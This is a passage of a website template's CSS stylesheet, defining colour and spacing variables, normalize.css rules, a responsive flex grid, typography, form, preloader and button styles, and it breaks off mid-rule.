--color-gray-7 : #5b5b5c;
--color-gray-6 : #727373;
--color-gray-5 : #8a8a8b;
--color-gray-4 : #a1a1a2;
--color-gray-3 : #b9b9b9;
--color-gray-2 : #d0d0d0;
--color-gray-1 : #e8e8e8;
--color-white : #ffffff;
/* text
*/
--color-text : var(--color-gray-12);
--color-text-dark : var(--color-black);
--color-text-light : var(--color-gray-8);
--color-placeholder : var(--color-gray-7);
/* buttons
*/
--color-btn : var(--color-gray-1);
--color-btn-text : var(--color-black);
--color-btn-hover : var(--color-gray-2);
--color-btn-hover-text : var(--color-black);
--color-btn-primary : var(--color-1);
--color-btn-primary-text : var(--color-white);
--color-btn-primary-hover : var(--color-black);
--color-btn-primary-hover-text : var(--color-white);
--color-btn-stroke : var(--color-black);
--color-btn-stroke-text : var(--color-black);
--color-btn-stroke-hover : var(--color-black);
--color-btn-stroke-hover-text : var(--color-white);
/* preloader
*/
--color-preloader-bg : var(--color-gray-12);
--color-loader : white;
--color-loader-light : rgba(255, 255, 255, 0.1);
/* others
*/
--color-body : var(--color-white);
--color-border : rgba(0, 0, 0, .08);
--border-radius : 3px;
}
/* -------------------------------------------------------------------
* ## spacing and typescale
* ------------------------------------------------------------------- */
:root {
/* spacing
* base font size: 18px
* vertical space unit : 32px
*/
--base-size : 62.5%;
--multiplier : 1;
--base-font-size : calc(1.8rem * var(--multiplier));
--space : calc(3.2rem * var(--multiplier));
/* vertical spacing
*/
--vspace-0_125 : calc(0.125 * var(--space));
--vspace-0_25 : calc(0.25 * var(--space));
--vspace-0_375 : calc(0.375 * var(--space));
--vspace-0_5 : calc(0.5 * var(--space));
--vspace-0_625 : calc(0.625 * var(--space));
--vspace-0_75 : calc(0.75 * var(--space));
--vspace-0_875 : calc(0.875 * var(--space));
--vspace-1 : calc(var(--space));
--vspace-1_25 : calc(1.25 * var(--space));
--vspace-1_5 : calc(1.5 * var(--space));
--vspace-1_75 : calc(1.75 * var(--space));
--vspace-2 : calc(2 * var(--space));
--vspace-2_5 : calc(2.5 * var(--space));
--vspace-3 : calc(3 * var(--space));
--vspace-3_5 : calc(3.5 * var(--space));
--vspace-4 : calc(4 * var(--space));
--vspace-4_5 : calc(4.5 * var(--space));
--vspace-5 : calc(5 * var(--space));
/* type scale
* ratio 1 :2 | base: 18px
* -------------------------------------------------------
*
* --text-display-3 = (77.40px)
* --text-display-2 = (64.50px)
* --text-display-1 = (53.75px)
* --text-xxxl = (44.79px)
* --text-xxl = (37.32px)
* --text-xl = (31.10px)
* --text-lg = (25.92px)
* --text-md = (21.60px)
* --text-size = (18.00px) BASE
* --text-sm = (15.00px)
* --text-xs = (12.50px)
*
* ---------------------------------------------------------
*/
--text-scale-ratio : 1.2;
--text-size : var(--base-font-size);
--text-xs : calc((var(--text-size) / var(--text-scale-ratio)) / var(--text-scale-ratio));
--text-sm : calc(var(--text-xs) * var(--text-scale-ratio));
--text-md : calc(var(--text-sm) * var(--text-scale-ratio) * var(--text-scale-ratio));
--text-lg : calc(var(--text-md) * var(--text-scale-ratio));
--text-xl : calc(var(--text-lg) * var(--text-scale-ratio));
--text-xxl : calc(var(--text-xl) * var(--text-scale-ratio));
--text-xxxl : calc(var(--text-xxl) * var(--text-scale-ratio));
--text-display-1 : calc(var(--text-xxxl) * var(--text-scale-ratio));
--text-display-2 : calc(var(--text-display-1) * var(--text-scale-ratio));
--text-display-3 : calc(var(--text-display-2) * var(--text-scale-ratio));
/* default button height
*/
--vspace-btn : var(--vspace-2);
}
/* on mobile devices below 600px, change the value of '--multiplier'
* to adjust the values of base font size and vertical space unit.
*/
@media screen and (max-width: 600px) {
:root {
--multiplier : .9375;
}
}
/* -------------------------------------------------------------------
* ## grid variables
* ------------------------------------------------------------------- */
:root {
/* widths for rows and containers
*/
--width-full : 100%;
--width-max : 1200px;
--width-wide : 1400px;
--width-wider : 1600px;
--width-widest : 1800px;
--width-narrow : 1000px;
--width-narrower : 800px;
--width-grid-max : var(--width-max);
/* gutter
*/
--gutter : 2.4rem;
}
/* on medium screen devices
*/
@media screen and (max-width: 1200px) {
:root {
--gutter : 2rem;
}
}
/* on mobile devices
*/
@media screen and (max-width: 600px) {
:root {
--gutter : 1rem;
}
}
/* ====================================================================
* # NORMALIZE
*
*
* --------------------------------------------------------------------
* normalize.css v8.0.1 | MIT License |
* github.com/necolas/normalize.css
* -------------------------------------------------------------------- */
html {
line-height : 1.15;
-webkit-text-size-adjust : 100%;
}
body {
margin : 0;
}
main {
display : block;
}
h1 {
font-size : 2em;
margin : 0.67em 0;
}
hr {
box-sizing : content-box;
height : 0;
overflow : visible;
}
pre {
font-family : monospace, monospace;
font-size : 1em;
}
a {
background-color : transparent;
}
abbr[title] {
border-bottom : none;
text-decoration : underline;
text-decoration : underline dotted;
}
b,
strong {
font-weight : bolder;
}
code,
kbd,
samp {
font-family : monospace, monospace;
font-size : 1em;
}
small {
font-size : 80%;
}
sub,
sup {
font-size : 75%;
line-height : 0;
position : relative;
vertical-align : baseline;
}
sub {
bottom : -0.25em;
}
sup {
top : -0.5em;
}
img {
border-style : none;
}
button,
input,
optgroup,
select,
textarea {
font-family : inherit;
font-size : 100%;
line-height : 1.15;
margin : 0;
}
button,
input {
overflow : visible;
}
button,
select {
text-transform : none;
}
button,
[type="button"],
[type="reset"],
[type="submit"] {
-webkit-appearance : button;
}
button::-moz-focus-inner,
[type="button"]::-moz-focus-inner,
[type="reset"]::-moz-focus-inner,
[type="submit"]::-moz-focus-inner {
border-style : none;
padding : 0;
}
button:-moz-focusring,
[type="button"]:-moz-focusring,
[type="reset"]:-moz-focusring,
[type="submit"]:-moz-focusring {
outline : 1px dotted ButtonText;
}
fieldset {
padding : 0.35em 0.75em 0.625em;
}
legend {
box-sizing : border-box;
color : inherit;
display : table;
max-width : 100%;
padding : 0;
white-space : normal;
}
progress {
vertical-align : baseline;
}
textarea {
overflow : auto;
}
[type="checkbox"],
[type="radio"] {
box-sizing : border-box;
padding : 0;
}
[type="number"]::-webkit-inner-spin-button,
[type="number"]::-webkit-outer-spin-button {
height : auto;
}
[type="search"] {
-webkit-appearance : textfield;
outline-offset : -2px;
}
[type="search"]::-webkit-search-decoration {
-webkit-appearance : none;
}
::-webkit-file-upload-button {
-webkit-appearance : button;
font : inherit;
}
details {
display : block;
}
summary {
display : list-item;
}
template {
display : none;
}
[hidden] {
display : none;
}
/* ===================================================================
* # BASE SETUP
*
*
* ------------------------------------------------------------------- */
html {
font-size : var(--base-size);
box-sizing : border-box;
}
*,
*::before,
*::after {
box-sizing : inherit;
}
html,
body {
height : 100%;
}
body {
background-color : var(--color-body);
-webkit-overflow-scrolling : touch;
-webkit-text-size-adjust : 100%;
-webkit-tap-highlight-color : rgba(0, 0, 0, 0);
-webkit-font-smoothing : antialiased;
-moz-osx-font-smoothing : grayscale;
}
p {
font-size : inherit;
text-rendering : optimizeLegibility;
}
a {
text-decoration : none;
}
svg,
img,
video {
max-width : 100%;
height : auto;
}
pre {
overflow : auto;
}
div,
dl,
dt,
dd,
ul,
ol,
li,
h1,
h2,
h3,
h4,
h5,
h6,
pre,
form,
p,
blockquote,
th,
td {
margin : 0;
padding : 0;
}
input[type="email"],
input[type="number"],
input[type="search"],
input[type="text"],
input[type="tel"],
input[type="url"],
input[type="password"],
textarea {
-webkit-appearance : none;
-moz-appearance : none;
appearance : none;
}
/* ===================================================================
* # GRID v4.0.0
*
*
* -----------------------------------------------------------------
* - Grid breakpoints are based on MAXIMUM WIDTH media queries,
* meaning they apply to that one breakpoint and ALL THOSE BELOW IT.
* - Grid columns without a specified width will automatically layout
* as equal width columns.
*
* - BLOCK GRID columns(columns inside BLOCK GRID containers) are
* equally-sized columns define at parent/row level.
* A BLOCK GRID container's class attribute value begins with "block-".
*
* ------------------------------------------------------------------- */
/* row
*/
.row {
width : 92%;
max-width : var(--width-grid-max);
margin : 0 auto;
display : flex;
flex-flow : row wrap;
}
.row .row {
width : auto;
max-width : none;
margin-left : calc(var(--gutter) * -1);
margin-right : calc(var(--gutter) * -1);
}
/* column
*/
.column {
display : block;
flex : 1 1 0%;
padding : 0 var(--gutter);
}
.collapse>.column,
.column.collapse {
padding : 0;
}
/* row utility classes
*/
.row.row-wrap {
flex-wrap : wrap;
}
.row.row-nowrap {
flex-wrap : nowrap;
}
.row.row-y-top {
align-items : flex-start;
}
.row.row-y-bottom {
align-items : flex-end;
}
.row.row-y-center {
align-items : center;
}
.row.row-stretch {
align-items : stretch;
}
.row.row-baseline {
align-items : baseline;
}
.row.row-x-left {
justify-content : flex-start;
}
.row.row-x-right {
justify-content : flex-end;
}
.row.row-x-center {
justify-content : center;
}
/* --------------------------------------------------------------------
* ## large screen devices
* -------------------------------------------------------------------- */
.lg-1 {
flex : none;
width : 8.33333%;
}
.lg-2 {
flex : none;
width : 16.66667%;
}
.lg-3 {
flex : none;
width : 25%;
}
.lg-4 {
flex : none;
width : 33.33333%;
}
.lg-5 {
flex : none;
width : 41.66667%;
}
.lg-6 {
flex : none;
width : 50%;
}
.lg-7 {
flex : none;
width : 58.33333%;
}
.lg-8 {
flex : none;
width : 66.66667%;
}
.lg-9 {
flex : none;
width : 75%;
}
.lg-10 {
flex : none;
width : 83.33333%;
}
.lg-11 {
flex : none;
width : 91.66667%;
}
.lg-12 {
flex : none;
width : 100%;
}
.block-lg-one-eight>.column {
flex : none;
width : 12.5%;
}
.block-lg-one-sixth>.column {
flex : none;
width : 16.66667%;
}
.block-lg-one-fifth>.column {
flex : none;
width : 20%;
}
.block-lg-one-fourth>.column {
flex : none;
width : 25%;
}
.block-lg-one-third>.column {
flex : none;
width : 33.33333%;
}
.block-lg-one-half>.column {
flex : none;
width : 50%;
}
.block-lg-whole>.column {
flex : none;
width : 100%;
}
/* --------------------------------------------------------------------
* ## medium screen devices
* -------------------------------------------------------------------- */
@media screen and (max-width: 1200px) {
.md-1 {
flex : none;
width : 8.33333%;
}
.md-2 {
flex : none;
width : 16.66667%;
}
.md-3 {
flex : none;
width : 25%;
}
.md-4 {
flex : none;
width : 33.33333%;
}
.md-5 {
flex : none;
width : 41.66667%;
}
.md-6 {
flex : none;
width : 50%;
}
.md-7 {
flex : none;
width : 58.33333%;
}
.md-8 {
flex : none;
width : 66.66667%;
}
.md-9 {
flex : none;
width : 75%;
}
.md-10 {
flex : none;
width : 83.33333%;
}
.md-11 {
flex : none;
width : 91.66667%;
}
.md-12 {
flex : none;
width : 100%;
}
.block-md-one-eight>.column {
flex : none;
width : 12.5%;
}
.block-md-one-sixth>.column {
flex : none;
width : 16.66667%;
}
.block-md-one-fifth>.column {
flex : none;
width : 20%;
}
.block-md-one-fourth>.column {
flex : none;
width : 25%;
}
.block-md-one-third>.column {
flex : none;
width : 33.33333%;
}
.block-md-one-half>.column {
flex : none;
width : 50%;
}
.block-md-whole>.column {
flex : none;
width : 100%;
}
.hide-on-md {
display : none;
}
}
/* --------------------------------------------------------------------
* ## tablet devices
* -------------------------------------------------------------------- */
@media screen and (max-width: 800px) {
.tab-1 {
flex : none;
width : 8.33333%;
}
.tab-2 {
flex : none;
width : 16.66667%;
}
.tab-3 {
flex : none;
width : 25%;
}
.tab-4 {
flex : none;
width : 33.33333%;
}
.tab-5 {
flex : none;
width : 41.66667%;
}
.tab-6 {
flex : none;
width : 50%;
}
.tab-7 {
flex : none;
width : 58.33333%;
}
.tab-8 {
flex : none;
width : 66.66667%;
}
.tab-9 {
flex : none;
width : 75%;
}
.tab-10 {
flex : none;
width : 83.33333%;
}
.tab-11 {
flex : none;
width : 91.66667%;
}
.tab-12 {
flex : none;
width : 100%;
}
.block-tab-one-eight>.column {
flex : none;
width : 12.5%;
}
.block-tab-one-sixth>.column {
flex : none;
width : 16.66667%;
}
.block-tab-one-fifth>.column {
flex : none;
width : 20%;
}
.block-tab-one-fourth>.column {
flex : none;
width : 25%;
}
.block-tab-one-third>.column {
flex : none;
width : 33.33333%;
}
.block-tab-one-half>.column {
flex : none;
width : 50%;
}
.block-tab-whole>.column {
flex : none;
width : 100%;
}
.hide-on-tab {
display : none;
}
}
/* --------------------------------------------------------------------
* ## mobile devices
* -------------------------------------------------------------------- */
@media screen and (max-width: 600px) {
.row {
width : 100%;
padding-left : 6vw;
padding-right : 6vw;
}
.row .row {
padding-left : 0;
padding-right : 0;
}
.mob-1 {
flex : none;
width : 8.33333%;
}
.mob-2 {
flex : none;
width : 16.66667%;
}
.mob-3 {
flex : none;
width : 25%;
}
.mob-4 {
flex : none;
width : 33.33333%;
}
.mob-5 {
flex : none;
width : 41.66667%;
}
.mob-6 {
flex : none;
width : 50%;
}
.mob-7 {
flex : none;
width : 58.33333%;
}
.mob-8 {
flex : none;
width : 66.66667%;
}
.mob-9 {
flex : none;
width : 75%;
}
.mob-10 {
flex : none;
width : 83.33333%;
}
.mob-11 {
flex : none;
width : 91.66667%;
}
.mob-12 {
flex : none;
width : 100%;
}
.block-mob-one-eight>.column {
flex : none;
width : 12.5%;
}
.block-mob-one-sixth>.column {
flex : none;
width : 16.66667%;
}
.block-mob-one-fifth>.column {
flex : none;
width : 20%;
}
.block-mob-one-fourth>.column {
flex : none;
width : 25%;
}
.block-mob-one-third>.column {
flex : none;
width : 33.33333%;
}
.block-mob-one-half>.column {
flex : none;
width : 50%;
}
.block-mob-whole>.column {
flex : none;
width : 100%;
}
.hide-on-mob {
display : none;
}
}
/* --------------------------------------------------------------------
* ## small screen devices
* --------------------------------------------------------------------*/
/* stack columns on small screen devices
*/
@media screen and (max-width: 400px) {
.row .row {
margin-left : 0;
margin-right : 0;
}
.block-stack>.column,
.column {
flex : none;
width : 100%;
margin-left : 0;
margin-right : 0;
padding : 0;
}
.hide-on-sm {
display : none;
}
}
/* --------------------------------------------------------------------
* ## additional column stackpoints
* -------------------------------------------------------------------- */
@media screen and (max-width: 1000px) {
.stack-on-1000,
.block-stack-on-1000>.column {
flex : none;
width : 100%;
margin-left : 0;
margin-right : 0;
}
}
@media screen and (max-width: 700px) {
.stack-on-700,
.block-stack-on-700>.column {
flex : none;
width : 100%;
margin-left : 0;
margin-right : 0;
}
}
@media screen and (max-width: 550px) {
.stack-on-550,
.block-stack-on-550>.column {
flex : none;
width : 100%;
margin-left : 0;
margin-right : 0;
}
}
/* ===================================================================
* # UTILITY CLASSES
*
*
* ------------------------------------------------------------------- */
/* flex item alignment classes
*/
.u-flexitem-center {
margin : auto;
align-self : center;
}
.u-flexitem-left {
margin-right : auto;
align-self : center;
}
.u-flexitem-right {
margin-left : auto;
align-self : center;
}
.u-flexitem-x-center {
margin-right : auto;
margin-left : auto;
}
.u-flexitem-x-left {
margin-right : auto;
}
.u-flexitem-x-right {
margin-left : auto;
}
.u-flexitem-y-center {
align-self : center;
}
.u-flexitem-y-top {
align-self : flex-start;
}
.u-flexitem-y-bottom {
align-self : flex-end;
}
/* misc helper classes
*/
.u-clearfix:after {
content : "";
display : table;
clear : both;
}
.u-hidden {
display : none;
}
.u-invisible {
visibility : hidden;
}
.u-antialiased {
-webkit-font-smoothing : antialiased;
-moz-osx-font-smoothing : grayscale;
}
.u-overflow-hidden {
overflow : hidden;
}
.u-remove-top {
margin-top : 0;
}
.u-remove-bottom {
margin-bottom : 0;
}
.u-add-half-bottom {
margin-bottom : var(--vspace-0_5);
}
.u-add-bottom {
margin-bottom : var(--vspace-1);
}
.u-no-border {
border : none;
}
.u-fullwidth {
width : 100%;
}
.u-pull-left {
float : left;
}
.u-pull-right {
float : right;
}
/* ===================================================================
* # TYPOGRAPHY
*
*
* -------------------------------------------------------------------
* type scale - ratio 1:2 | base: 18px
* -------------------------------------------------------------------
*
* --text-display-3 = (77.40px)
* --text-display-2 = (64.50px)
* --text-display-1 = (53.75px)
* --text-xxxl = (44.79px)
* --text-xxl = (37.32px)
* --text-xl = (31.10px)
* --text-lg = (25.92px)
* --text-md = (21.60px)
* --text-size = (18.00px) BASE
* --text-sm = (15.00px)
* --text-xs = (12.50px)
*
* -------------------------------------------------------------------- */
/* --------------------------------------------------------------------
* ## base type styles
* -------------------------------------------------------------------- */
body {
font-family : var(--font-1);
font-size : var(--base-font-size);
font-weight : 400;
line-height : var(--vspace-1);
color : var(--color-text);
}
/* links
*/
a {
color : var(--color-1-light);
transition : all 0.3s ease-in-out;
}
a:focus,
a:hover,
a:active {
color : var(--color-2-light);
}
a:hover,
a:active {
outline : 0;
}
/* headings
*/
h1,
h2,
h3,
h4,
h5,
h6,
.h1,
.h2,
.h3,
.h4,
.h5,
.h6 {
font-family : var(--font-1);
font-weight : 500;
color : var(--color-text-dark);
font-variant-ligatures : common-ligatures;
text-rendering : optimizeLegibility;
}
h1,
.h1 {
margin-top : var(--vspace-2_5);
margin-bottom : var(--vspace-0_75);
}
h2,
.h2,
h3,
.h3,
h4,
.h4 {
margin-top : var(--vspace-2);
margin-bottom : var(--vspace-0_5);
}
h5,
.h5,
h6,
.h6 {
margin-top : var(--vspace-1_5);
margin-bottom : var(--vspace-0_5);
}
h1,
.h1 {
font-size : var(--text-display-1);
line-height : var(--vspace-2);
letter-spacing : -.02em;
}
@media screen and (max-width: 500px) {
h1,
.h1 {
font-size : var(--text-xxxl);
line-height : calc(1.625 * var(--space));
}
}
h2,
.h2 {
font-size : var(--text-xxl);
line-height : var(--vspace-1_5);
letter-spacing : -.02em;
}
h3,
.h3 {
font-size : var(--text-xl);
line-height : var(--vspace-1_25);
}
h4,
.h4 {
font-size : var(--text-lg);
line-height : var(--vspace-1);
}
h5,
.h5 {
font-size : var(--text-md);
line-height : var(--vspace-0_875);
}
h6,
.h6 {
font-family : var(--font-1);
font-size : var(--text-sm);
line-height : var(--vspace-0_75);
text-transform : uppercase;
letter-spacing : .35rem;
}
/* emphasis, italic,
* strong, bold and small text
*/
em,
i,
strong,
b {
font-size : inherit;
line-height : inherit;
}
em,
i {
font-style : italic;
}
strong,
b {
font-weight : 600;
}
small {
font-size : 75%;
font-weight : 400;
line-height : var(--vspace-0_5);
}
/* blockquotes
*/
blockquote {
margin : 0 0 var(--vspace-1) 0;
padding : var(--vspace-1) var(--vspace-1_5);
border-left : 2px solid black;
position : relative;
}
@media screen and (max-width: 400px) {
blockquote {
padding : var(--vspace-0_75) var(--vspace-0_75);
}
}
blockquote p {
font-family : var(--font-1);
font-weight : 400;
font-size : var(--text-lg);
font-style : normal;
line-height : var(--vspace-1_25);
color : var(--color-text-dark);
padding : 0;
}
blockquote cite {
display : block;
font-family : var(--font-1);
font-weight : 400;
font-size : var(--text-sm);
line-height : var(--vspace-0_75);
font-style : normal;
}
blockquote cite:before {
content : "\2014 \0020";
}
blockquote cite,
blockquote cite a,
blockquote cite a:visited {
color : var(--color-text-light);
border : none;
}
/* figures
*/
figure img,
p img {
margin : 0;
vertical-align : bottom;
}
figure {
display : block;
margin-left : 0;
margin-right : 0;
}
figure img+figcaption {
margin-top : var(--vspace-1);
}
figcaption {
font-style : italic;
font-size : var(--text-sm);
text-align : center;
margin-bottom : 0;
}
/* preformatted, code
*/
var,
kbd,
samp,
code,
pre {
font-family : var(--font-mono);
}
pre {
padding : var(--vspace-0_75) var(--vspace-1) var(--vspace-1);
background : var(--color-gray-9);
overflow-x : auto;
}
code {
font-size : var(--text-sm);
line-height : 1.6rem;
margin : 0 .2rem;
padding : calc(((var(--vspace-1) - 1.6rem) / 2) - .1rem) calc(.8rem - .1rem);
white-space : nowrap;
background : var(--color-gray-1);
border : 1px solid var(--color-gray-2);
color : var(--color-text-dark);
border-radius : 3px;
}
pre>code {
display : block;
white-space : pre;
line-height : var(--vspace-1);
padding : 0;
margin : 0;
border : none;
}
/* deleted text, abbreviation,
* & mark text
*/
del {
text-decoration : line-through;
}
abbr {
font-family : var(--font-1);
font-weight : 600;
font-variant : small-caps;
text-transform : lowercase;
letter-spacing : .1em;
}
abbr[title],
dfn[title] {
border-bottom : 1px dotted;
cursor : help;
text-decoration : none;
}
mark {
background : var(--color-1-lighter);
color : var(--color-black);
}
/* horizontal rule
*/
hr {
border : solid var(--color-border);
border-width : .1rem 0 0;
clear : both;
margin : var(--vspace-2) 0 calc(var(--vspace-2) - 1px);
height : 0;
}
hr.fancy {
border : none;
margin : var(--vspace-2) 0;
height : var(--vspace-1);
text-align : center;
}
hr.fancy::before {
content : "*****";
letter-spacing : .3em;
}
/* --------------------------------------------------------------------
* ## additional typography & helper classes
* -------------------------------------------------------------------- */
.lead,
.attention-getter {
font-family : var(--font-1);
font-weight : 300;
font-size : var(--text-md);
line-height : calc(1.125 * var(--space));
color : var(--color-text);
}
.pull-quote {
position : relative;
padding : 0;
margin-top : 0;
text-align : center;
}
.pull-quote blockquote {
border : none;
margin : 0 auto;
max-width : 62rem;
padding-top : var(--vspace-2_5);
position : relative;
}
.pull-quote blockquote p {
font-weight : 400;
color : var(--color-text-dark);
}
.pull-quote blockquote:before {
content : "";
display : block;
height : var(--vspace-1);
width : var(--vspace-1);
background-repeat : no-repeat;
background : center center;
background-size : contain;
background-image : url(../images/icons/icon-quote.svg);
transform : translate(-50%, 0, 0);
position : absolute;
top : var(--vspace-1);
left : 50%;
}
.drop-cap:first-letter {
float : left;
font-family : var(--font-1);
font-weight : 600;
font-size : calc(3 * var(--space));
line-height : 1;
padding : 0 0.125em 0 0;
text-transform : uppercase;
background : transparent;
color : var(--color-text-dark);
}
.text-center {
text-align : center;
}
.text-left {
text-align : left;
}
.text-right {
text-align : right;
}
/* --------------------------------------------------------------------
* ## lists
* -------------------------------------------------------------------- */
ol {
list-style : decimal;
}
ul {
list-style : disc;
}
li {
display : list-item;
}
ol,
ul {
margin-left : 1.6rem;
}
ul li {
padding-left : .4rem;
}
ul ul,
ul ol,
ol ol,
ol ul {
margin : 1.6rem 0 1.6rem 1.6rem;
}
ul.disc li {
display : list-item;
list-style : none;
padding : 0 0 0 .8rem;
position : relative;
}
ul.disc li::before {
content : "";
display : inline-block;
width : 8px;
height : 8px;
border-radius : 50%;
background : var(--color-1);
position : absolute;
left : -.9em;
top : 11px;
vertical-align : middle;
}
dt {
margin : 0;
color : var(--color-1);
}
dd {
margin : 0 0 0 2rem;
}
/* definition list line style
*/
.lining dt,
.lining dd {
display : inline;
margin : 0;
}
.lining dt+dt:before,
.lining dd+dt:before {
content : "\A";
white-space : pre;
}
.lining dd+dd:before {
content : ", ";
}
.lining dd+dd:before {
content : ", ";
}
.lining dd:before {
content : ": ";
margin-left : -0.2em;
}
/* definition list dictionary style
*/
.dictionary-style dt {
display : inline;
counter-reset : definitions;
}
.dictionary-style dt+dt:before {
content : ", ";
margin-left : -0.2em;
}
.dictionary-style dd {
display : block;
counter-increment : definitions;
}
.dictionary-style dd:before {
content : counter(definitions, decimal) ". ";
}
/* --------------------------------------------------------------------
* ## spacing
* -------------------------------------------------------------------- */
fieldset,
button,
.btn {
margin-bottom : var(--vspace-0_5);
}
input,
textarea,
select,
pre,
blockquote,
figure,
figcaption,
table,
p,
ul,
ol,
dl,
form,
img,
.video-container,
.ss-custom-select {
margin-bottom : var(--vspace-1);
}
/* ===================================================================
* # PRELOADER
*
*
* -------------------------------------------------------------------
* - markup:
*
* <div id="preloader">
* <div id="loader"></div>
* </div>
*
* ------------------------------------------------------------------- */
#preloader {
position : fixed;
display : flex;
flex-flow : row wrap;
justify-content : center;
align-items : center;
background : var(--color-preloader-bg);
z-index : 500;
height : 100vh;
width : 100%;
opacity : 1;
pointer-events : none;
}
.no-js #preloader {
display : none;
}
#loader {
width : var(--vspace-1_5);
height : var(--vspace-1_5);
padding : 0;
opacity : 1;
}
#loader::before {
content : "";
border-top : 4px solid var(--color-loader-light);
border-right : 4px solid var(--color-loader-light);
border-bottom : 4px solid var(--color-loader-light);
border-left : 4px solid var(--color-loader);
-webkit-animation : load 1.1s infinite linear;
animation : load 1.1s infinite linear;
display : block;
border-radius : 50%;
width : 100%;
height : 100%;
}
@-webkit-keyframes load {
0% {
-webkit-transform : rotate(0deg);
transform : rotate(0deg);
}
100% {
-webkit-transform : rotate(360deg);
transform : rotate(360deg);
}
}
@keyframes load {
0% {
transform : rotate(0deg);
}
100% {
transform : rotate(360deg);
}
}
/* -------------------------------------------------------------------
* ## page loaded
* ------------------------------------------------------------------- */
.ss-loaded #preloader {
opacity : 0;
visibility : hidden;
transition : all .6s .9s ease-in-out;
}
.ss-loaded #preloader #loader {
opacity : 0;
transition : opacity .6s ease-in-out;
}
/* ===================================================================
* # FORM
*
*
* ------------------------------------------------------------------- */
fieldset {
border : none;
}
input[type="email"],
input[type="number"],
input[type="search"],
input[type="text"],
input[type="tel"],
input[type="url"],
input[type="password"],
textarea,
select {
--input-height : var(--vspace-2);
--input-line-height : var(--vspace-1);
--input-vpadding : calc(((var(--input-height) - var(--input-line-height)) / 2) - 1px);
display : block;
height : var(--input-height);
padding : var(--input-vpadding) calc(2.4rem - 1px);
border : 0;
outline : 0;
color : var(--color-placeholder);
font-family : var(--font-1);
font-size : var(--text-sm);
line-height : var(--input-line-height);
max-width : 100%;
background-color : var(--color-gray-1);
border : 1px solid transparent;
transition : all .3s ease-in-out;
border-radius : var(--border-radius);
}
.ss-custom-select {
position : relative;
padding : 0;
}
.ss-custom-select select {
-webkit-appearance : none;
-moz-appearance : none;
appearance : none;
text-indent : 0.01px;
text-overflow : '';
margin : 0;
vertical-align : middle;
}
.ss-custom-select select option {
padding-left : 2rem;
padding-right : 2rem;
}
.ss-custom-select select::-ms-expand {
display : none;
}
.ss-custom-select::after {
border-bottom : 2px solid black;
border-right : 2px solid black;
content : '';
display : block;
height : 8px;
width : 8px;
margin-top : -7px;
pointer-events : none;
position : absolute;
right : 2.4rem;
top : 50%;
transition : all 0.15s ease-in-out;
transform-origin : 66% 66%;
transform : rotate(45deg);
}
textarea {
min-height : calc(8 * var(--space));
}
input[type="email"]:focus,
input[type="number"]:focus,
input[type="search"]:focus,
input[type="text"]:focus,
input[type="tel"]:focus,
input[type="url"]:focus,
input[type="password"]:focus,
textarea:focus,
select:focus {
color : var(--color-black);
box-shadow : 0 0 5px var(--color-1);
border : 1px solid var(--color-1);
}
label,
legend {
font-family : var(--font-1);
font-weight : 600;
font-size : var(--text-sm);
line-height : var(--vspace-0_5);
margin-bottom : var(--vspace-0_5);
color : var(--color-text-dark);
display : block;
}
input[type="checkbox"],
input[type="radio"] {
display : inline;
}
label>.label-text {
display : inline-block;
margin-left : 1rem;
font-family : var(--font-1);
line-height : inherit;
}
label>input[type="checkbox"],
label>input[type="radio"] {
margin : 0;
position : relative;
top : 2px;
}
/* -------------------------------------------------------------------
* ## style placeholder text
* ------------------------------------------------------------------- */
::-webkit-input-placeholder {
/* WebKit, Blink, Edge */
color : var(--color-placeholder);
}
:-moz-placeholder {
/* Mozilla Firefox 4 to 18 */
color : var(--color-placeholder);
opacity : 1;
}
::-moz-placeholder {
/* Mozilla Firefox 19+ */
color : var(--color-placeholder);
opacity : 1;
}
:-ms-input-placeholder {
/* Internet Explorer 10-11 */
color : var(--color-placeholder);
}
::-ms-input-placeholder {
/* Microsoft Edge */
color : var(--color-placeholder);
}
::placeholder {
/* Most modern browsers support this now. */
color : var(--color-placeholder);
}
/* -------------------------------------------------------------------
* ## change autocomplete styles in Chrome
* ------------------------------------------------------------------- */
input:-webkit-autofill,
input:-webkit-autofill:hover,
input:-webkit-autofill:focus,
textarea:-webkit-autofill,
textarea:-webkit-autofill:hover,
textarea:-webkit-autofill:focus,
select:-webkit-autofill,
select:-webkit-autofill:hover,
select:-webkit-autofill:focus {
-webkit-text-fill-color : var(--color-1);
transition : background-color 5000s ease-in-out 0s;
}
/* ===================================================================
* # BUTTONS
*
*
* ------------------------------------------------------------------- */
.btn,
button,
input[type="submit"],
input[type="reset"],
input[type="button"] {
--btn-height : var(--vspace-btn);
display : inline-block;
font-family : var(--font-1);
font-weight : 500;
font-size : var(--text-xs);
text-transform : uppercase;
letter-spacing : .35em;
height : var(--btn-height);
line-height : calc(var(--btn-height) - 4px);
padding : 0 3.6rem;
margin : 0 0.4rem var(--vspace-0_5) 0;
color : var(--color-btn-text);
text-decoration : none;
text-align : center;
white-space : nowrap;
cursor : pointer;
transition : all .3s;
border-radius : var(--border-radius);
background-color : var(--color-btn);
border : 2px solid var(--color-btn);
-webkit-font-smoothing : antialiased;
-moz-osx-font-smoothing : grayscale;
}
.btn:focus,
button:focus,
input[type="submit"]:focus,
input[type="reset"]:focus,
input[type="button"]:focus,
.btn:hover,
button:hover,
input[type="submit"]:hover,
input[type="reset"]:hover,
input[type="button"]:hover {
background-color : var(--color-btn-hover);
border-color : var(--color-btn-hover);
color : var(--color-btn-hover-text);
outline : 0;
}
/* button primary
*/
.btn.btn--primary,
button.btn--primary,
input[type="submit"].btn--primary,
input[type="reset"].btn--primary,
input[type="button"].btn--primary {
background : var(--color-btn-primary);
border-color : var(--color-btn-primary);
color : var(--color-btn-primary-text);
}
.btn.btn--primary:focus,
button.btn--primary:focus,
input[type="submit"].btn--primary:focus,
input[type="reset"].btn--primary:focus,
input[type="button"].btn--primary:focus,
.btn.btn--primary:hover,
button.btn--primary:hover,
input[type="submit"].btn--primary:hover,
input[type="reset"].btn--primary:hover,
input[type="button"].btn--primary:hover {
background : var(--color-btn-primary-hover);
border-color : var(--color-btn-primary-hover);
color : var(--color-btn-primary-hover-text);
}
/* button modifiers
*/
.btn.u-fullwidth,
button.u-fullwidth {
width : 100%;
margin-right : 0;
}
.btn--small,
button.btn--small {
--btn-height : calc(var(--vspace-btn) - 1.6rem);
}
.btn--medium,
button.btn--medium {
--btn-height : calc(var(--vspace-btn) + .8rem);
}
.btn--large,
button.btn--large {
--btn-height : calc(var(--vspace-btn) + 1.6rem);
}
.btn--stroke,
button.btn--stroke {
background : transparent !important;
border : 2px solid var(--color-btn-stroke);
color : var(--color-btn-stroke-text);
}
.btn--stroke:focus,
